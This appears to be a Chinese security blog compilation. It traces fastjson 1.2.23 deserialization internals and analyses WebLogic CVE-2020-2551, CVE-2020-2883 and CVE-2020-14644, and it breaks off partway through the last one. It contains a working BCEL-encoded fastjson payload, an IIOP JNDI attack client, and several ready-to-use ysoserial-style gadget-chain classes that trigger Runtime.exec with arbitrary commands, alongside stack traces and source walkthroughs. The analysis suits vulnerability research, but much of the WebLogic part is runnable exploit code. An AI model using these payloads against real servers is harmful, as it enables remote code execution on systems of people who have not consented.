0%

前言

fastjson的漏洞也跟了不少,不过玩来玩去始终眼光都聚焦于checkAutoType方法,对于fastjson框架整体的把握感觉很不够,有一天突然想到一个问题:fastjson反序列化的流程是怎样的?想了半天硬是不知道从哪里说起,于是就下了一番功夫去跟了一下底层源码,于是才有了这篇文章。

在正式开始之前做一点说明,本文基于fastjson1.2.23进行分析,这个版本还不涉及到autoType黑名单。因此,本文主要侧重fastjson反序列化的重要步骤,主要是一些宏观上的流程,希望能通过这篇文章,对fastjson反序列化流程有一个整体上的认识。

下面的分析基于如下代码,代码的执行效果是弹出计算器。

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class FastJsonTest1 {

    public static void main(String[] args) {
        String json="{\n" +
                "        \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
                "        \"driverClassLoader\": {\n" +
                "            \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\n" +
                "        },\n" +
                "        \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$C1$U$3d$e5$d5a$i$e4$a5$f8De$r$b0$90$8d$3b$88$h$82$89$R$c5$I$d1$f5P$hR$if$c80$Q$fe$c85$h4$$$fc$A$3f$cax$a7Q$q$b1$8b$de$db$f3$bam$3f$bf$de$3f$A$9c$a3d$c2$40$ceD$k$5b$G$b6$c3Z$e0$d81$R$c7$$$c7$k$c7$3eC$a2$a1$5c$V$5c0D$cb$95$H$86X$d3$7b$92$M$e9$b6r$e5$edt$d4$97$7e$cf$ee$3b$84$Y$N$e1$fc$uS$dd$c0$W$cf7$f6XS$U$c8$60v$bd$a9$_$e4$a5$K$a5$a9$d6L9M$db$RgC$7bf$5bH$c2$e48$b0p$88$o$N$QDX8$c21C$3e$e4k$ca$ab$5duZs$n$c7$81$f2$5c$L$t0i$dco$GCF$ab$i$db$j$d4$3a$fd$a1$U$BC$f6$P$ba$9f$ba$81$g$d1Ts$m$83$d5a$bb$5ci$ff$d3$d4i$ba$9cK$8a$3c$z$af$b1$dd$c0W$ee$a0$ben$b8$f3$3d$n$t$T2$a4$c7D$G$fa$c1$3d$df$W$S$rp$fa$d3pE$c0$c2$a7$d1$beA$a7$oUF5$5e$7d$F$5bP$c3$60$d1$9e$d0$60$94$y$a9$95$b4$a3$ad$40$ee$N$91$5ct$89$d8$e3$L$8c$eb$ea$S$89$85$c6$93$e4$8c$93$s$f4$X$a8$LS$92$g$e5$94b$mKI$9b$84rD$da$i$e9$Y$992$fa$3e$d9oO$3f$V$ac$f9$B$A$A\",\n" +
                "}";
        json=json.replace("\n","").replace("\t","").replace(" ","");
        System.out.println(json);
        JSON.parseObject(json);
    }

}

接下来,我们在JSON.parseObject方法上打上断点进行分析,主要的流程可以分为如下几步

词法分析

实际上词法分析是贯穿整个fastjson反序列化的流程的,这里为了方便,把他单独作为一步拿出来,但是希望读者不要被误解。词法分析是贯穿整个fastjson反序列化的流程,贯穿整个fastjson反序列化的流程,贯穿整个fastjson反序列化的流程的。

首先是JSON.parseObject方法,它继续调用了JSON.parse

image-20211117165907581

跟进JSON.parseJSON.parse调用了一个重载的方法最终来到下图所示的这里。这里需要解释一下这个方法的参数

  1. text参数,实际上就是我们需要反序列化的json字符串
  2. features参数,它定义了fastjson反序列化过程中的一些特性,我们如果不特殊指定的话使用的就是默认特性,比如:允许字段名不使用引号包裹、允许使用单引号代替双引号等特性(具体参考JSON类的static代码块)

然后看到,如果text不为null,就会创建一个parser来解析text

image-20211117165958474

我们直接跟进74行parser.parse,再经过一些重载方法调用后,来到了这里,看到一个swith-case代码块

这里一下这个swith-case,首先看到switch的变量是lexer.token(),lexer就是词法分析器,也就是词法分析这个工作的负责人。调用它的token方法就能够返回上一个解析完毕的token类型,根据不同的token类型这里会选择进入不同的case进行处理。

image-20211117170557875

比如我们这里的token类型是12,对应的是json字符串最开始的{,进入case12。这里首先创建了一个JSONObject对象,然后将其传入了DefaultJSONParser::parseObject

image-20211117171034694

跟进DefaultJSONParser::parseObject

image-20211117171131942

再次获取token,由于我们在两次获取token之间并未调用词法分析器让它继续向下分析,所以这里获取到的token跟上次一样,仍然是12,对应于{,进入else分支

image-20211117171349902

在这个else里就准备开始干大事了,不断地调用词法分析器lexer让它进行分析。红色注释的部分都是在调用词法分析器。这里应该非常好理解,这个代码的逻辑实际上跟json的语法是互相匹配的。

image-20211117171711926

经过上面的分析,然后看看我们的传入的json,不难知道,这个key字符串实际上就是@type

image-20211117172202715

继续往下看,在274行,判断key是否等于@type并且是否禁用了特殊key(默认未禁用),条件得到满足,进入if

image-20211117172347725

进入之后275行又调用了词法分析器扫描,从当前字符开始,扫描到下一个引号,得到的ref值就是org.apache.tomcat.dbcp.dbcp.BasicDataSource

然后276行调用TypeUtils.loadClass进行了类加载,进入下一部分

加载@type指定的类

这里类加载的过程也比较简单,就是通过应用程序类加载器将类进行加载,完全没有任何过滤。

image-20211117172736827

实际上,在后续的版本中就不再是调用TypeUtils.loadClass。而是调用ParserConfig::checkAutoType,也是从这里开启了后续众多的黑名单绕过研究。这个不是本文的重点,这里不多说。

创建deserializer

TypeUtils.loadClass结束之后,就获取到了@type指定的Class对象,紧接着就调用this.config.getDeserializer根据Class对象开始获取相应的反序列化器。

image-20211117185139980

跟进this.config.getDeserializer。先从derializers中尝试获取反序列化器,失败。然后由于type是Class类型(就是@type指定的Class对象),继续调用this.getDeserializer

image-20211117185312495

跟进this.getDeserializer,这个方法的前半段进行了一系列的尝试获取反序列化器,都没能成功获取。略掉那些步骤,直接进入this.createJavaBeanDeserializer,准备创建反序列化器

image-20211117185643303

跟进this.createJavaBeanDeserializer,略掉一些不重要的步骤,直接看475行,调用JavaBeanInfo.build,准备收集Bean的信息,来进行反序列化。

image-20211117185817150

跟进JavaBeanInfo.build,这个方法一上来就通过反射获取到了很多对象,包括Field对象、Method对象、Constructor对象。这些对象都是与@type指定的Class相关的,将会参与到后续的反序列化过程。

image-20211117185925412

我们跟进getDefaultConstructor,这个方法就是获取要反序列化的类的默认构造器,接下来会调用这个构造器来创建要反序列化的对象。在489行获取了所有的构造器,然后494行进行遍历,找出无参构造器直接break,然后由于defaultConstructor!=null跳过502行的if,函数返回。所以,这个函数的作用简单理解就是在获取无参构造器。

image-20211117190415078

回到JavaBeanInfo.build,接下来开始遍历methods,就是build方法最开始通过反射获取到的@type指定的类中的public方法

image-20211117190651052

这个for循环实际上就是在找setter方法,通过setter方法,得到对象中的字段名字,然后反射获取Field对象,封装成FieldInfo对象,然后加入到fieldList中。

image-20211117191744970

遍历完methods之后,开始遍历field,将field也封装成FieldInfo加入到fieldList,这里由于没有public修饰的字段,var29=0,载直接跳过

image-20211117192337989

紧接着又开始遍历methods,不过这次找的是getter方法,通过getter方法来获取字段,原理类似,不赘述了

image-20211117192510629

最终,字段信息都获取完毕后,就将fieldList传入JavaBeanInfo的构造器,开始创建JavaBeanInfo对象,然后JavaBeanInfo.build方法就返回了。

接下来函数就开始逐层返回,最终返回到DefaultJSONParser::parseObject,意味着this.config.getDeserializer执行完毕,反序列化器获取完毕。

image-20211117193407634

deserializer.deserialize

接下来就开始使用反序列化器来反序列化对象了。deserializer.deserialze经历若干个重载方法后,来到这里。这里的函数参数type还是@type指定的Class,if条件满足,然后又开始使用词法分析器读入字符进行分析。

image-20211117194536853

deserializer.deserialze会一边遍历创建deserializer过程中得到的sortedFieldDeserializers,一边查找json字符串,匹配上就将json字符串中的value设置到对应的字段中。设置的时候会用到反射机制。这里以driverClassLoaderdriverClassName字段的反序列化为例进行分析

先看driverClassLoader字段,遍历到driverClassLoader字段的时候,匹配到json字符串中的driverClassLoader键,matchField变量被设置成true

image-20211117213002206

然后由于matchField变量为true,进入557行的if,调用fieldDeser.parseField

image-20211117212829836

跟进fieldDeser.parseField,红色字体注释了这个方法中的三个核心步骤。由于这里的driverClassLoader也是一个复杂对象,那么也同样需要进行反序列化,步骤也是一样的,先创建反序列化器,然后用反序列化器进行反序列化,就不再跟进了。

image-20211117213339659

最后反序列化的到value为com.sun.org.apache.bcel.internal.util.ClassLoader对象,然后调用setValue将value设置到对应的字段

image-20211117213553015

跟进setValue,这里就用到了创建deserializer过程中创建的FieldInfo,还记得之前遍历setter方法生成FieldInfo的过程吗?这里就用到那里的setter方法,通过反射调用setter方法给字段赋值。

image-20211117213759226

再来看看driverClassName字段的反序列化,加深一下印象。遍历到driverClassName字段的时候,匹配到json字符串中的driverClassName键,matchField变量被设置成true,然后调用fieldDeser.setValue将json字符串中driverClassName键对应的值设置到对象的字段中。

这里与前面driverClassLoader是有些许区别的,driverClassLoader由于是一个复杂对象,valueParsed=false进入了559行,需要先反序列化对象再给字段赋值。而这里的driverClassName是一个String类型的,反序列化较容易,所以直接parse完就赋值了。

image-20211117210812289

跟进fieldDeser.setValue,同样用到了创建deserializer过程中创建的FieldInfo,通过反射调用setter方法给字段赋值。至此,driverClassName的赋值就告一段落

image-20211117211024279

等json字符串中的所有的字段都复制完毕后,也就意味着反序列化工作基本结束,对象恢复完毕,deserializer.deserialze就开始返回,回到DefaultJSONParser::parseObject中。

image-20211117214716279

随后DefaultJSONParser::parseObject方法也返回了,逐层返回到JSON::parseObject。下面还会调用JSON::toJSON,不过这就不太算反序列化的过程了,分析就到此为止吧。

image-20211117214859971

总结

从宏观角度来看,fastjson反序列化实际上逻辑性还是非常强的。可以分为如下几步

  1. 获取@type指定的Class对象
  2. 根据Class对象获取类的信息(主要是字段信息,顺便拿到setter方法,将字段信息都保存到了FieldDeserializer对象中),最终将类信息都存到deserializer(通常是JavaBeanDeserializer)中
  3. 调用deserializer.deserialize进行反序列化,一边遍历FieldDeserializer数组,一边与json字符串比对,找到对应的就给对应的字段设置值。如果字段是简单类型就直接设置,如果是复杂类型,将递归调用步骤1。

粗略看了一下高版本的fastjson1.2.68,发现代码虽然有所改动,但是整体框架还是没变的,以上三步仍然适用。

参考文章

Fastjson反序列化RCE核心-四个关键点分析

前言

原本应该更早发出这篇文章,但是被一些杂七杂八的事一直阻断着,搞得最后两个CVE,CVE-2020-14882和14883一直没分析完。而且这俩本身也比较复杂,不是反序列化漏洞,而是框架请求处理过程中有bug,就一直拖到了现在。

CVE-2020-2551

原理

IIOP协议

在了解这个CVE之前,需要有IIOP的前置知识。在我之前的文章weblogic古老漏洞梳理中,有提到过t3协议,t3协议是weblogic rmi在数据传输过程中使用到的协议,与之同等地位的就有jrmp协议,以及现在所讨论的IIOP协议。

这里继续搬运这篇文章的一张图来帮助理解。

image-20211104184728776

IIOP协议的底层这里不予过多赘述,前面在使用t3协议进行反序列化攻击时探讨过t3协议的格式,当时是为了方便书写python的poc。而IIOP我们可以直接调用java的api来传输恶意对象,就不必在关心底层协议的具体格式(如果未来深入研究IIOP协议反序列化攻击,估计还是要回来看底层)。

漏洞原理

IIOP跟t3的攻击思路是非常相似的,2551与CVE-2018-3191相同,都是使用了JtaTransactionManager类的jndi注入漏洞,来实现反序列化攻击。这里不过多赘述,直接给出调用栈。核心的流程就是栈顶的四步,非常好理解。

lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_abstract_interface:2271, IIOPInputStream (weblogic.iiop)
readObject:2752, IIOPInputStream (weblogic.iiop)
readObjectOverride:164, ObjectInputStreamImpl (weblogic.iiop)
readObject:344, ObjectInputStream (java.io)
readObject:1030, HashMap (java.util)
invoke:-1, GeneratedMethodAccessor2 (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
readObject:2788, IIOPInputStream (weblogic.iiop)
readFields:460, ObjectStreamClass (weblogic.utils.io)
defaultReadObject:179, ObjectInputStreamImpl (weblogic.iiop)
readObject:312, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_abstract_interface:2279, IIOPInputStream (weblogic.iiop)
readObject:2785, IIOPInputStream (weblogic.iiop)
readFields:460, ObjectStreamClass (weblogic.utils.io)
readValueData:294, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:84, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

此外,笔者在学习过程中不是特别理解为什么非得使用动态代理来将JtaTransactionManager类转换为Remote接口的实现类,理论上来说不转也没什么大问题,这个漏洞只是利用了JtaTransactionManager的readObject方法而已,跟Remote接口没什么太大关系。

于是尝试将动态代理的部分去掉,直接反序列化JtaTransactionManager类,发现仍然能够成功攻击,调用栈如下。

lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:84, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

漏洞利用

首先给出利用RMI IIOP协议传输恶意类的脚本

import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.weblogic.*;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class IIOPAttack {
    static String rhost="iiop://localhost:7001"; //靶机地址

    public static void main(String[] args) throws Exception{
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);
        Context context = new InitialContext(env);
        ObjectPayload payload = new CVE_2020_2551_1();
        Object object = payload.getObject("{恶意rmi服务器地址}");
        context.rebind("r2"+System.nanoTime(), object);
    }
}

然后贴一下网上流传的生成恶意对象的poc

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import com.nqzero.permit.Permit;
import ysoserial.payloads.ObjectPayload;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class CVE_2020_2551 implements ObjectPayload<Object> {
    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

    @Override
    public Object getObject(String... command) throws Exception {
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(command[0]);
        Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
        return remote;
//        return jtaTransactionManager;
    }

    public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }

    public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
        return (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }

    public static void setAccessible(AccessibleObject member) {
        // quiet runtime warnings from JDK9+
        Permit.setAccessible(member);
    }

    public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[0] = iface;
        if (ifaces.length > 0) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces, ih));
    }

    public static Map<String, Object> createMap(final String key, final Object val) {
        final Map<String, Object> map = new HashMap<String, Object>();
        map.put(key, val);
        return map;
    }
}

然后是笔者将动态代理部分去掉的poc

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import com.nqzero.permit.Permit;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.*;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class CVE_2020_2551_1 implements ObjectPayload<Object> {
    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

    @Override
    public Object getObject(String... command) throws Exception {
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(command[0]);
        return jtaTransactionManager;
    }
}

CVE-2020-2883

在我之前的文章weblogic古老漏洞梳理的最后已经提到了weblogic2020年的一个CVE,是CVE-2020-2555。建议看2883的分析之前先去看看2555,否则没基础的话可能难以理解。

原理

之前在2555中,我们通过LimitFilter::toString来触发extactor::extract

exec:617, Runtime (java.lang)
exec:485, Runtime (java.lang)
invoke:-1, GeneratedMethodAccessor122 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
toString:580, LimitFilter (com.tangosol.util.filter)

但是看2555的补丁发现,extract方法的调用已经被删掉了

image-20211104154009954

那么2883的思路就是去找其他调用了extract方法的点,首先找到AbstractExtractor::compare,再这个方法中调用了extract方法

image-20211104154102842

那么如何触发compare方法的调用呢?可以借助CC2的思路,使用jdk原生的PriorityQueue进行触发,完整调用链如下。compare方法之前为CC2的调用链,compare之后为2555的构造思路。

exec:617, Runtime (java.lang)
exec:485, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
extract:94, MultiExtractor (com.tangosol.util.extractor)
compare:79, AbstractExtractor (com.tangosol.util.extractor)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

其实不仅仅有AbstractExtractor::compare能触发extract,还有ExtractorComparator::compare

image-20211104155543937

给出调用栈

exec:617, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
compare:61, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

尝试漏洞利用的时候,一开始直接拿了网上的代码直接跑,大概长这个样子。

ValueExtractor[] valueExtractors = new ValueExtractor[]{
    new ConstantExtractor(Runtime.class),
    new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
    new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
    new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
ExtractorComparator extractorComparator = new ExtractorComparator();
Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
m_extractor.setAccessible(true);
m_extractor.set(extractorComparator, chainedExtractor);

PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add("foo");
priorityQueue.add("bar");

Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, extractorComparator);
return priorityQueue;

很快啊,啪的一下报错了。

image-20211104154638646

发现说ConstantExtractor不可被序列化。去检查一下发现,这个类还确实没有实现Serializable接口。这就有点奇怪了。猜测应该是我没打补丁的缘故,补丁或许修改了这个类的代码。

不过没有关系,ConstantExtractor的作用不就是提供了Runtime.class吗?我们看看有没有别的办法拿到它

很快就找到了解决思路,这里compare方法的两个参数想都不用想肯定是priorityqueue中的元素,然后他们被传入了extract方法中,那我们往priorityqueue中塞一个Runtime.class不就得了?

image-20211104154927033

通过反射我们将Runtime.class加入到queue中,即可得到这样的poc。

先给出通过ExtractorComparator::compare触发extract的poc

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import ysoserial.payloads.ObjectPayload;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{command[0]})
        };

        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);

        ExtractorComparator extractorComparator = new ExtractorComparator();
        Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
        m_extractor.setAccessible(true);
        m_extractor.set(extractorComparator, chainedExtractor);

        PriorityQueue priorityQueue = new PriorityQueue();
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queueArr=new Object[2];
        queueArr[0]=Runtime.class;
        queueArr[1]=String.class;
        queue.set(priorityQueue,queueArr);
        Field size = priorityQueue.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(priorityQueue,queueArr.length);

        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, extractorComparator);
        return priorityQueue;
    }
}

再给出通过AbstractExtractor::compare触发的

import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.MultiExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883_1 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}})
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
        MultiExtractor multiExtractor = new MultiExtractor();

        Field m_extractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");
        m_extractor.setAccessible(true);
        m_extractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});


        PriorityQueue priorityQueue = new PriorityQueue();
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queueArr=new Object[2];
        queueArr[0]=Runtime.class;
        queueArr[1]=String.class;
        queue.set(priorityQueue,queueArr);
        Field size = priorityQueue.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(priorityQueue,queueArr.length);


        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,multiExtractor);
        return priorityQueue;


    }
}

CVE-2020-14644

原理

这个漏洞的触发点在RemoteConstructor.readResolve,这个函数在前一篇文章weblogic古老漏洞梳理有提到,可以先去了解一下。这个函数调用了newInstance

image-20211106215219573

跟进newInstance,这里面先调用了RemotableSupport.get获取到RemotableSupport对象,然后调用了support.realize

image-20211106215356554

先看RemotableSupport.get,三目运算符条件为false,执行(RemotableSupport)s_mapByClassLoader.computeIfAbsent(Base.ensureClassLoader(loader), RemotableSupport::new)

image-20211106215615682

这里由于s_mapByClassLoader为空,会创建一个RemotableSupport对象,然后函数调用开始返回,返回到RemoteConstructor::newInstance,准备继续调用support.realize

image-20211106215921263

